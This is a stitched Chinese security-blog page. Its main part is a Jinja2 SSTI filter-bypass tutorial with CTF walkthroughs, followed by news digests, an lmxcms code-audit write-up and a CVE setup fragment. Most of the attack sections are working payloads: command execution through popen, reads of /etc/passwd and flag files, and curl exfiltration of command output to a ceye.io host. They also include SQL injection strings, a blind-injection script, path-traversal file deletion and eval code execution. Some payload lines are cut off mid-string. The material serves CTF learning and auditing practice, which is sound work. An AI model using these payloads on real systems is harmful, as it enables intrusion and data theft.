可见,对于这些编码进行绕过,就是将是字符串的关键字进行编码,然后进行对应解码即可,rot13等其他编码也是同理。
利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
在jinja2可以使用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
绕过init
可以用__enter__或__exit__替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
绕过config
过滤了config,直接用self.dict就能找到里面的config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
绕过中括号[ ]
利用 getitem绕过
先用列表演示说明getitem()函数的作用是输出序列属性中的某个索引处的元素。
Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'{{"".__class__.__mro__[2]} 可以替换为:
{{"".__class__.__mro__.__getitem__(2)
例子:
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
等价于
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法中的[]
调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号,可以使用getattribute进行绕过。
object.__getattribute__(self, name)是一个对象方法,当访问某个对象的属性时,会无条件的调用这个方法。
{{"".__getattribute__("__cla"+"ss__").__base__}}
配合request
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
例子:
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
pop()绕过
{{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
但是应慎用pop()方法,因为在python中pop()会删除相应位置的值,在列表里就是默认输出最后一个元素并将其删除。
绕过大括号{{}}
①使用{%%} 装载一个循环控制语句来绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
②用print进行标记,得到回显
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %}
绕过下划线__
利用request对象绕过
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
等价于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
绕过" ' []
对于多个过滤的话,就在无过滤的基础上,将过滤的字符用上面各自对应的方法进行逐一替换后在拼接即可。
像这里的过滤了单双引号及中括号,那就用request方法代替''、',用pop方法替换中括号
payload
{{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')
绕过 " ' [] _
利用request.cookies.name,接着使用flask自带的attr
`' '|attr('__class__')`等价于`' '.__class__`
这是一个 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( )分割。如:attr()``attr()``|
foo|attr("bar") 等同于 foo["bar"]
对于多种符号同时过滤,考虑用|attr( )结合其他方法进行绕过有强大的功能。
lipsum是一个方法,其调用__globals__可以直接使用os执行命令
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
例子:
{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*
绕过 " ' [] _ os
多过滤了os关键字,可以使用request.cookies.a绕过即可,在刚刚绕过 " ' [] _的基础上在最后的传参数将os传入即可达到绕过。payload
{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*
绕过 " ' [] _ os {{ }}
在刚刚的基础上再多过滤大括号,使用print来标记使其有回显。payload
?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*
绕过 " ' arg [] _ os {{ }} request
使用~拼接pop组合出的各个字符,最后在拼接在一起达到绕过。payload
{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).
等价于:
{% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%}
或者使用chr:
{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
例子:
{%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~
等价于:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
使用下面的脚本来获得ascii码
<?php
//使用chr绕过ssti过滤引号
$str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
绕过 " ' [] _ os {{ }} 数字
数字可以使用全角数字替代。payload
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
将半角数字转换为全角的脚本如下:
# 绕过ban数字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
while 1:
s = input("输入想要的数字")
for i in s:
t+=half2full(i)
print(t)
绕过 " ' arg [] _ os {{ }} 数字 print
使用全角数字和chr进行命令执行,但是结果要使用在线dns外带。
<?php
//使用chr绕过ssti过滤引号
$str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
将普通数字变成全角的脚本如下:
#正则匹配出字符串中的数字,然后返回全角数字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~c
"""
result=""
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
for i in re.findall('\d{2,3}',str):
result+="chr("+half2full(i)+")~"
print(i)
print(result[:-1])
payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(
)%}{%if x.eval(cmd)%}aaa{%endif%}
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')")
说了这么多的绕过形式,接着结合题目总结下常见的利用思路。
利用思路
无过滤的情况
①随便找一个内置类对象用class拿到它所对应的类②用bases拿到基类(<class 'object'>)③用subclasses()拿到子类列表④在子类列表中直接寻找可以利用的类getshell
综上,基本思路为:
对象→类→基本类→子类→(init方法→globals属性→builtins属性)→读取文件的类
其中,()内的步骤有些时候不需要用到,所以加个括号表示可去。例如无过滤的情况下file类读取文件时:
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
接着用代码演示图过一遍思路:
先找到一个类型所属的对象,在找到这个对象所继承的基类,接着找到子类。
假设我们需要用到的就是OS模块来命令执行,找到OS类了并将这个类初始化成方法,相当于我们调用了OS模块,然后通过globals保存对全局变量的引用,最后使用os模板进行命令执行读取文件。
到最后还要使用read()方法读取,是因为前面返回的结果为地址,如图所示:
所以还需要用read()读取一下。
如有过滤的话,其实追究其根本,还是要按照上面的那些步骤进行利用,只不过题目过滤了什么就用对应的方法绕过即可。
实战
[CSCCTF 2019 Qual]FlaskLight
这是一道没有任何过滤的题目,难度较小。首先是一成不变的步骤,尝试输入{{ 4*5 }}看看有没有回显20,发现存在SSTI注入:
接着利用{{''.__class__.__mro__[2].__subclasses__()}} 可爆出所有类,通过ctrl+f搜索也能找到利用类,但是不知道下标具体是多少无法加以利用。
这里附上网上的脚本寻找利用类及下标:
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
得到利用类的下标为258:
接着就可以开始构造拿flag了。
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目录)
成功拿到flag:
再来看一道过滤了关键字的题目,使用上面提到的方法进行构造且分析思路。
#
[GYCTF2020]FlaskApp
这道题过滤了os、flag、chr、popen、eval、request等常用关键字,需要进行绕过。
首先打开题目发现是一个用https://so.csdn.net/so/search?q=flask&spm=1001.2101.3001.7020写的一个base64加解密应用。有一个加密页面和解密页面,思路应该是在加密页面输入payload进行加密,加密结果在解密页面进行解密,输出解密后的payload被渲染到页面输出后执行了payload,使其报错发现有个源文件app.py及加解密原理。有个模板渲染,然而SSTI注入的原因正是由于render_template_string的不正确的使用以及没有对用户输入的数据进行有效的过滤导致的。
获取源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
利用上面提到的使用+拼接字符串绕过os、import等被过滤关键字以便找目录与执行命令。构造如下:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
拿到文件,接着读取,注意flag要使用拼接:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
成功拿到flag:
再来看一道过滤字符的题目,以便测试利用上述绕过各种字符的方法。
#
[Dest0g3 520迎新赛]EasySSTI
根据题目名称提示,这题考察SSTI,进入题目是一个登录框,点击登录可以回显用户名,发现在username处有jinja2模板引擎的SSTI漏洞:
经过Fuzz,发现过滤了_.'"[]等字符,还有各种class、request、eval等关键字以及空格。
最终还是要达到实现{{lipsum.__globals__['os'].popen('ls').read()}}进行命令执行的目的,其他字符可以使用过滤器和join拼接字符达到绕过,空格的话使用%0a换行符绕过。
{%set%0apo=dict(po=a,p=a)|join()%} #pop
{%set%0aa=(()|select|string|list)|attr(po)(24)%} #_
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} #globals
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
{%set%0ape=dict(po=aaa,pen=aaa)|join()%} #popen
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%} #read
dict(o=a,s=a)|join() #获取 os
(config|string|list)|attr(po)(279) #获取 /
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
等价于:
{{lipsum.__globals__['os'].popen('ls').read()}}
先使用ls查看有哪些文件,构造如下
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
使用()|select|string|list获取flag的具体位置:
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
接着将命令修改为cat /flag
最终构造如下:
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att
成功拿到flag:
总结
对于ssti注入,其实掌握基本的常用的方法,按照常规的思路进行构造,有哪些被过滤的就用相应的方法进行绕过,按照模板走大多数题目都能解出来,但是最重要的还是自己动手尝试构造,体会其中的原理,因为还要考虑题目解释器版本不同、类方法所在索引不同,构造出来的语句也不一样。对于python里的jinja2 ssti注入就分析到这里,后续还会总结java、php中常用模板的ssti注入,下回见。
网络安全日报 2023年03月30日
1、QNAP 修复了 NAS 设备中的 Sudo 提权漏洞
https://securityaffairs.com/144200/security/qnap-sudo-flaw.html QNAP 警告客户更新他们的网络附加存储 (NAS) 设备以解决高危 Sudo 特权提升漏洞。
2、OpenAI 修复了 ChatGPT 中的帐户接管漏洞
https://securityaffairs.com/144184/hacking/chatgpt-account-takeover-bugs.html OpenAI 解决了流行的聊天机器人 ChatGPT 中的多个严重漏洞,这些漏洞可能被用来接管帐户。
3、Clipper 恶意软件攻击利用木马化 TOR 浏览器安装程序进行传播
https://securityaffairs.com/144158/hacking/tor-browser-installers-clipper.html 巴斯基研究人员发现了一个木马化版本的 Tor 浏览器,该浏览器正在俄罗斯和东欧传播 clipper 恶意软件。
4、OpenSSL 1.1.1 即将到达EoL:安全更新仅到 2023 年 9 月
https://www.securityweek.com/openssl-1-1-1-nears-end-of-life-security-updates-only-until-september-2023/ OpenSSL 1.1.1 将在六个月内达到 EoL,并指示用户升级到更新的版本或支付扩展支持以继续接收安全补丁。
5、新的 Wi-Fi 攻击方法允许流量拦截、绕过客户端隔离
https://www.securityweek.com/new-wi-fi-attack-allows-traffic-interception-security-bypass/ 研究人员发现了一种新的攻击方式,可以在Wi-Fi网络中拦截MAC层的流量,即使是不允许相互通信的客户端之间也可以。该漏洞被跟踪为CVE-2022-47522。
6、澳大利亚博彩巨头Crown Resorts遭Cl0p勒索软件攻击并导致数据泄露
https://securityaffairs.com/144193/data-breach/crown-resorts-clop-ransomware.html 澳大利亚的赌博和娱乐巨头Crown Resorts披露了一起数据泄露事件,该事件是由最近发现的GoAnywhere零日漏洞所导致。Cl0p勒索软件组声称通过利用Fortra的GoAnywhere MFT安全文件传输工具中的一个零日漏洞(CVE-2023-0669)窃取了超过130个组织的敏感数据,其中包括澳大利亚赌场巨头Crown Resorts。尽管此次事件发生在1月份,但公司直到本周才公开披露数据泄露事件。
7、Exchange Online 将阻止来自易受攻击的本地服务器的电子邮件
https://www.bleepingcomputer.com/news/security/exchange-online-to-block-emails-from-vulnerable-on-prem-servers/ 微软正在引入一项新的 Exchange Online 安全功能,能以通知 的方式告知账户管理员存在风险的Exchange服务器,并自动拒绝该服务器发送的电子邮件。
8、谷歌披露了两个针对苹果和安卓设备的全球间谍软件活动
https://cyberscoop.com/google-tag-spyware-android-ios-chrome/ 谷歌威胁分析小组周三披露了两个“有限且针对性强”的间谍软件活动,它们利用零日漏洞以及已知但未修补的安全漏洞来破坏对安卓和苹果 iOS 设备以及谷歌 Chrome 浏览器的保护。
9、研究人员披露新APT组织APT43的挖矿攻击活动
https://cyberscoop.com/north-korean-hackers-cloud-mining-cyrptocurrency/ 网络安全公司Mandiant发现了一个名为APT43的新黑客组织,该组织使用盗窃的比特币来资助其网络间谍活动。与其他从事加密货币相关网络犯罪的朝鲜黑客组织不同,Mandiant的研究人员认为APT43利用盗来的资金资助自己的黑客和网络间谍活动,而不是进行国家资助的行动。
10、黑客归还从 Euler Finance 盗走的 2 亿美元
https://www.hackread.com/hacker-returns-200-million-euler-finance/ Euler Finance 于 2023 年 3 月 13 日遭到黑客攻击,价值约 1.97 亿美元的加密货币被盗,其中包括 1.358 亿美元的 stETH、3380 万美元的 USDC、1850 万美元的 WBTC 和 870 万美元的 DAI。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
lmxcms代码审计学习
前言
最近学习php代码审计,lmxcms很适合去学习代码审计,因为比较简单。
环境搭建
源码下载地址http://www.lmxcms.com/phpstudy+phpstorm,apache2.4.39+MySQL5.7.26,php5.3.29
网站首页
后台管理
搭建成功
框架配置
入口文件
config.inc.php配置文件
run.inc.php 初始化文件
入口
在Action.class.php中找到调用方法的
可以看出m参数是类名前缀,开头大写,a参数是方法名
那么我就知道该框架处理请求的格式如下
http://127.0.0.1/lmxcms1.4/admin.php?m=xx类名&a=xx方法
后台SQL注入
在bookaction.class.php
在这里可以看到这个id是可控的,于是进入getReply函数里看看
发现这里执行了SQL语句
在后面写个echo$sql方便看
因为正常输入没回显,采取报错注入
admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+
前台SQL注入
TagsAction.class.php中
看不出来$data['name']的值是如何来的,查看的p的方法
可以看到type=2的时候为GET传递,说明我们可以控制这个参数,继续看能不能利用
查看getNameData的声明
查看oneModel
查看oneDB
接着在这上面写个echo $sql;
/index.php/?m=Tags&name=1
会跳404,但echo 出来了sql语句,说明这个过程是有sql语句执行的
这个时候继续利用报错函数执行试试
' and updatexml(0,concat(0x7e,user()),1) --+
发现是空白,连报错都没有,其实仔细看之前common.php里,有filter_sql方法
但是这里写了一个url解码的函数,且这个语句执行是在sql语句过滤执行的后面,那么我尝试二次编码注入
执行成功,但在1.41版本的修复了这个漏洞
这里用代码对比下可以明显看出来
前台留言SQL注入
在前台留言这里
随便提交一个,提交成功并没有显示,进后台看看
需要审核才能显示
审查源码
在BookAction.class.php中,发现POST传setbook后会进入checkdata函数
里面是验证前台数据并且过滤了html代码并且有filter_sql
过滤了sql语句常用函数,在这里就不能用二次编码绕过了,因为这里没写url解码函数
查看addmodel
查看addDB
即使我们有二次注入的思路,但这个需要管理员审核才能看到回显
随便测试一个看看
在数据库中显示为
可以看出这个ischeck是判断是否显示在前台的,那么我们进行注入,把ischeck修改为1就可以回显在前端了
POST提交
setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1
前台布尔盲注
searchaction.class.php
serchmodel
countModel
countDB
在这里写入echo $sql;方便尝试注入
利用这些参数进行注入
可以利用tuijian这个参数注入,或者也可以用renmen看构造问题
SELECT count(1) FROM lmx_product_data WHERE time > 1647768137 ANDremen=1 AND (title like '%a%') ORDER BY id desc
执行如上sql语句,这里同样也进行了filter_sql函数过滤,且没有url编码不能向第一个那样二次编码绕过,具体可在p方法里找
index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+
GET/lmxcms1.4/index.php?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6,1,0));%23
这里0x6c对应的是l
回显长度为8425,随便改个参数,返回包长度变为5403
用remen参数回显为8422
写一个简单的python脚本就可以测出值
import requests\flag=""\url="http://127.0.0.1/lmxcms1.4/index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database()&&&&,{},1))={},1,0))%23"\for i in range(1,7):\for j in range(65,122):\res=requests.get(url.format(i,hex(j)))\if len(res.text)>7000:\flag=flag+chr(j)\print(fla
任意文件读取&任意文件写入
文件读取函数freadfopenfilefile_get_contents搜索file_get_contents然后找file_get_contents函数和参数代码段,
在file.class.php getcon方法里
file_get_contents具有读取文件内容的功能,这里$path变量我们要看怎么来的,于是查看getcon的用法
在TemplateAction.class.php中调用了getcon
查看$dir变量怎么来的
该页面在admin目录下,那么进入后台根据页面名称传参调用尝试任意文件读取
lmxcms1.4/admin.php?m=Template&a=editfile
传$dir
还可以读取数据库文件
同样这里还可以进行任意文件写入
可以在这个页面直接进行修改或者写入
分别是文件名称跟内容,file_put_contents函数写入
任意文件删除
在BackdbAction.class.php中搜索unlink
这里看到filename可控,查看delone
file/back下创建一个文件测试1.txthttp://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=1.txt
通过../../实现任意文件删除
再次访问就需要安装了
命令执行
在admin/AcquisiAction.class.php中搜索eval
可以看出$eval函数的参数$temdata是$this->model->caijiDataOne($_GET['cid']);跟进
可以看出执行了sql语句,通过跟进ci_data_tab发现
查询的是cj_data表
在cj_data表中插入phpinfo();
lmxcms1.4/admin.php?m=Acquisi&a=showCjData&id=1&cid=1&lid=1
总结
这次是对phpmvc框架的审计的尝试,思路是从危险函数入手,寻找可控参数变量,尝试利用触发,白盒+黑盒一起尝试可能会效果更佳,感觉自己有好多地方不足,很多都是参考网上的或者别人的思路才能完成审计实现,希望能对大家有所帮助,不足之处希望大家能够批评指正。
网络安全日报 2023年03月29日
1、丰田遭严重用户信息泄露事件,数据泄露已长达一年半之久
https://www.freebuf.com/news/361832.html 全球知名汽车制造公司丰田(TOYOTA)遭遇了严重的用户信息泄露事件。安全研究人员发现,黑客通过攻击丰田意大利数字营销自动化和分析软件服务提供商 Salesforce Marketing Cloud,从而获得了海量的用户数据,且至今为止数据泄露已有一年半之久。
2、三星表示将于下月彻底修复 Exynos 调制解调器漏洞
https://www.ithome.com/0/682/535.htm 谷歌 Project Zero 安全团队日前报告,在三星调制解调器中发现了 18 个漏洞。三星社区经理今天在美国社区上发帖,表示三星在今年 3 月份发布的补丁中,已经修复了 6 个漏洞中的 5 个,剩余 1 个漏洞会在下月彻底修复。
3、新的MacStealer macOS 恶意软件窃取 iCloud 数据和密码
https://thehackernews.com/2023/03/new-macstealer-macos-malware-steals.html MacStealer恶意软件使用 Telegram 作为命令和控制 (C2) 平台,主要影响运行 macOS 版本 Catalina 以及之后运行在 M1 和 M2 CPU 上的设备。
4、恶意 Python 包使用 Unicode 支持来逃避检测
https://securityaffairs.com/144070/malware/malicious-python-package-uses-unicode.html 研究人员在 PyPI 上发现了一个恶意包,它使用 Unicode 来逃避检测,同时窃取敏感数据。
5、威胁分子滥用AI生成的Youtube视频传播窃取信息的恶意软件
https://www.4hou.com/posts/mXLO 最近出现了一种视频以AI生成的角色为主角的趋势,出现在多种语言和平台(Twitter、Youtube和Instagram)上,提供招聘细节、教育培训、宣传材料等。
6、新的IcedID变种用于传播其他恶意软件
https://www.bleepingcomputer.com/news/security/new-icedid-variants-shift-from-bank-fraud-to-malware-delivery/ 研究人员发现新的 IcedID 变种没有通常的在线银行欺诈功能,而是专注于在受感染的系统上安装更多恶意软件。根据 Proofpoint 的说法,自去年年底以来,三个不同的威胁参与者在七次活动中使用了这些新变体,重点是进一步传播有效载荷,最多的是勒索软件。
7、研究人员报告针对欧洲企业的恶意软件DBatLoader
https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses Zscaler 的 ThreatLabz 研究团队发现了一个涉及 DBatLoader(也称为 ModiLoader)的新活动,该活动专门通过网络钓鱼电子邮件针对欧洲企业。恶意软件有效负载通过具有SSL 证书的 WordPress 网站分发。在整个活动中,研究人员观察到威胁行为者在网络钓鱼电子邮件中使用了多种技术,通过 DBatLoader / ModiL
8、最新调查显示澳大利亚非银行贷款机构数据泄露量远超此前报道
https://www.govinfosecurity.com/latitude-financial-admits-14m-customer-details-breached-a-21543 澳大利亚非银行贷款机构 Latitude Financial 周一表示,黑客事件影响的人数远远超过最初披露的人数。该公司称黑客窃取了大约 790 万个澳大利亚和新西兰的驾照号码、53000 个护照号码、不到 100 名客户的月度财务报表,以及另外 610 万条记录,包括数据库中的姓名、地址、电话号码和出生日期,该数据库包含至少可追溯到 2005 年的信息。
9、微软推出基于GPT-4的Security Copilot工具,用于自动化网络安全
https://www.securityweek.com/microsoft-puts-chatgpt-to-work-on-automating-cybersecurity/ 微软推出了一款名为“Microsoft Security Copilot”的AI安全分析工具,它是由OpenAI的最新GPT-4模型驱动的,并将使用来自 Redmond 企业部署和 Windows 端点的大量遥测信号的数据进行训练。该工具可用于自动化事件响应和威胁猎杀任务,帮助防御者更好地识别恶意活动并快速采取行动。
10、电信巨头Lumen遭受勒索软件攻击并披露第二起事件
https://securityaffairs.com/144113/hacking/lumen-suffered-ransomware-attack.html Lumen Technologies发现了两起网络安全事件,其中包括一次勒索软件攻击。该公司已经向证券交易委员会提交了文件,并表示这些事件不会对其业务、运营或财务结果产生重大不利影响。Lumen通知执法机构并报告了受影响的客户,正在进行调查以确定入侵的程度。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Apache iotdb-web-workbench 认证绕过漏洞(CVE-2023-24829)
漏洞简介
影响版本 0.13.0 <= 漏洞版本 < 0.13.3
漏洞主要来自于 iotdb-web-workbench IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench 中存在不正确的身份验证漏洞。
环境搭建
我们发现在 Releases 中已经删除到只剩最新版本,所以我们从 commits 中查找历史提交记录来搭建环境。
下载下历史版本的源码,下载之后利用 docker 搭建环境。
需要修改一下 docker-compose.yml 将其中挂载数据库文件修改为:
volumes:
- ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db
直接在根目录下执行 docker-compose up -d 虽然镜像编译成功,但是执行后一直启动不成功,通过 docker logs 查看日志信息。
发现后台的 jar 包没有编译成功拷贝到容器内,所以先进入 backend 执行 mvn package 编译 jar 。 默认情况下都是依赖于 aliyunmaven 但是很奇怪这次编译时会提示无法从 aliyun 中下载文件,所以将 maven 的 settings.xml 配置文件关于 aliyun 的相关依赖注释掉,就可以编译成功。
